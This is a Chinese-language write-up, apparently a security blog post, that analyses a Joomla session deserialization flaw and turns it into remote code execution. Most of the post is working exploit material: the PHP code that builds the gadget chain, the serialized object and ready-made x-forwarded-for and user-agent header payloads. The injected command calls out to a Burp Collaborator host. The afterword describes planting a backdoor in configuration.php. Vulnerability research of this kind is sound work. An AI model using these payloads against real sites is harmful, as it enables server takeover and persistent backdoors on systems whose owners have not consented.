返回
顶部

参考链接:

概述

这个漏洞是由于Joomla在处理session数据的部分引起的

关键代码就在session handler的read和write方法处:

\libraries\joomla\session\storage\database.php第46和71行

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

由Joomla处理而产生的\0只会占一个字节,因为它原来是空字节和*字符,所以在序列化的数据中s:3:\0\0\0是正常的,但是如果我们手动注入了\0\0\0字符,那么序列化的数据就是s:6:\0\0\0,但是read方法会把\0\0\0替换为Null*Null,替换之后只占3个字节,多出来的这3字节就给了我们可乘之机,,对象注入就是从这里产生的

分析

下面的内容实际上是对网上exp的分析,不同的是网上公开的exp使用的是序列化数据中的username和password字段,但是这个不具有普遍性,因为它需要能够访问index.php/components/user.php,并不是所有的网站都会处理这个请求,在下面的分析中,我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用

因为只要两个字段是连续的即可,前一个字段用于撑大空间,后一个字段用于注入对象,因此除了username和password字段,x-forwarded-for和user-agent字段也是可以实现的

预备知识

这是一段正常的Joomla session数据:

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625763909;s:18:"session.timer.last";i:1625763909;s:17:"session.timer.now";i:1625763909;s:22:"session.client.browser";s:131:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"56bb4f43d168909f6df0e1a50fd84b17";}

这里需要注意的是,php序列化session用的方法和serialize方法是不完全一样的,它的一般格式为:

key|serialize data

除了前面的键和|,后面的序列化数据和serialize函数产生的序列化数据是一致的

对于对象的序列化,不同的权限修饰符下的成员变量序列化之后的数据也是有差异的:

<?php
class TestClass {
    PermissionDecorator $testMember;
    public function __construct($t)
    {
        $this->testMember = $t;
    }
}
$data = new TestClass("fuckyou");

public:

"O:9:"TestClass":1:{s:10:"testMember";s:7:"fuckyou";}"

protected:

"O:9:"TestClass":1:{s:13:"\x00*\x00testMember";s:7:"fuckyou";}"

private:

"O:9:"TestClass":1:{s:21:"\x00TestClass\x00testMember";s:7:"fuckyou";}"

准备对象构造

我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子

__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625766121;s:18:"session.timer.last";i:1625766121;s:17:"session.timer.now";i:1625766121;s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"633f966f72f7287671a24606baed1113";}
s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";

如果把上面的normal_user_agent替换成normal_user_agent";SerializedObject,那么我们就有可能完成对象的注入,唯一的问题是前面有一个s:17限制我们的长度,导致session反序列化失败,无法完成对象注入

结合前面的\0\0\0替换漏洞,我们可以往ormal_x_for_warded_for中添加若干组\0\0\0来扩大s:23中的23,以囊括

session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent

其实就是一个简单的方程式:

6x + 23 = 3x + 55 + 23  ==> 3x = 55

23normal_x_for_warded_for的长度,55";s:22:"session.client.browser";s:17:"normal_user_agent的长度

除不尽,只需要往normal_user_agent再加2个字符即可;

3x = 57  ==>  x=19

这是构造完的http请求对应的session数据

hj__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625767987;s:18:"session.timer.last";i:1625767987;s:17:"session.timer.now";i:1625767987;s:24:"session.client.forwarded";s:137:"normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:22:"session.client.browser";s:33:"normal_user_agent12";ObjectInject";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b4131b29f0fae45b8d98576b25ceb35a";}

Joomla在read session数据时,将\0\0\0替换成Null*Null,也就是将6字节缩短为3字节,那么上面数据中的137也就缩短为80了,加上后面的

";s:22:"session.client.browser";s:33:"normal_user_agent12

长度为57,正好是137,这样我们注入的对象就逃逸出来了

构造对象序列化字符串

选择libraries\joomla\database\driver\mysqli.php作为反序列化对象,因为它的析构函数中调用了disconnect方法,而该方法中调用了call_user_func_array方法,而且第一个参数是可控的:$this->disconnectHandlers

call_user_func_array函数的第一个参数可以是一个数组:

call_user_func_array(array(object function), args);

那么最后调用的形式为:

object.function(args);

这里我们虽然控制不了传递给方法的参数,但是我们可以控制调用的方法

我们选择使用libraries\simplepie\simplepie.php中的SimplePie对象的init方法

第1550行:

$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

这里可以看到call_user_func方法的两个参数我们全部可以控制,进而达到RCE

简单看一下SimplePie的init方法的代码我们就可以写出下面的exp:

<?php

namespace {
    class JSimplepieFactory {

    }
}

namespace {
    class SimplePie_Sanitize {

    }
}

namespace {
    class SimplePie {
        public $sanitize;
        public $raw_data;
        public $feed_url;
        public $cache_name_function;

    }
}

namespace {
    class JDatabaseDriverMysqli {
        //我们需要伪造一个成员变量JSimplepieFactory对象,来引入SimplePie类文件
        protected $justincase;

        protected $disconnectHandlers;
        protected $connection;

        public function __construct($justincase, $disconnectHandlers, $connection) {
            $this->justincase = $justincase;
            $this->disconnectHandlers = $disconnectHandlers;
            $this->connection = $connection;
        }
    }
}

namespace {
    require __DIR__.'/vendor/autoload.php';

    $a = new \SimplePie;

    $a->sanitize = new \SimplePie_Sanitize;
    $a->raw_data = "12138";
    $a->feed_url = "print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";
    $a->cache_name_function = "assert";

    $b = new \JDatabaseDriverMysqli(new \JSimplepieFactory, array(array($a, "init")), 1);

    dump(serialize($b));
}
?>

上面有一个值得注意的地方,就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量$justincase,并将其值设置为一个JSimplepieFactory对象,这是因为我们使用的SimplePie类并不在Joomla的类查找路径中,也没有被自动加载到应用中,它是由libraries\legacy\simplepie\factory.php引入的

第12行:

jimport('simplepie.simplepie');

我们通过伪造这个成员变量,让php初始化JSimplepieFactory类,进而达到引入SimplePie类的目的

上面的exp生成的序列化字符串如下:

O:21:"JDatabaseDriverMysqli":3:{s:13:"\x00*\x00justincase";O:17:"JSimplepieFactory":0:{}s:21:"\x00*\x00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\x00*\x00connection";i:1;}

漏洞利用

根据前面的分析,我们可以构造出如下payload:

x-forwarded-for:

normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

user-agent:

normal_user_agent1";s:3:"key";O:21:"JDatabaseDriverMysqli":3:{s:13:"\0\0\0justincase";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";s:4:"key3";s:888:

注意上面的normal_user_agent1,这里我又把2去掉了,是因为由于payload变长,之前的长度由两位数变成了三位数

session_decode方法可以正常解析我们构造的session数据

image-20210709124849105

我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行

image-20210709124815875

后记

上面只能一次次地发起请求来进行命令执行,有一种更加方便的方式,就是直接将后门写入Joomla应用的根目录下的configuration.php文件中

这个文件是最理想的文件,它和index.php位于同一个目录,而且文件结尾没有?>,我们可以通过file_put_contents方法将内容写入到该文件中

相比上面的exp,唯一需要变动的就是要让session_decode失败,从而将调用栈落回到index.php上

如果可以正常进行session_decode,那么调用栈的最低层会变成libraries\joomla\database\driver\mysqli.php,会出现找不到configuration.php文件的问题

写入后门版exp链接

不足之处,欢迎指正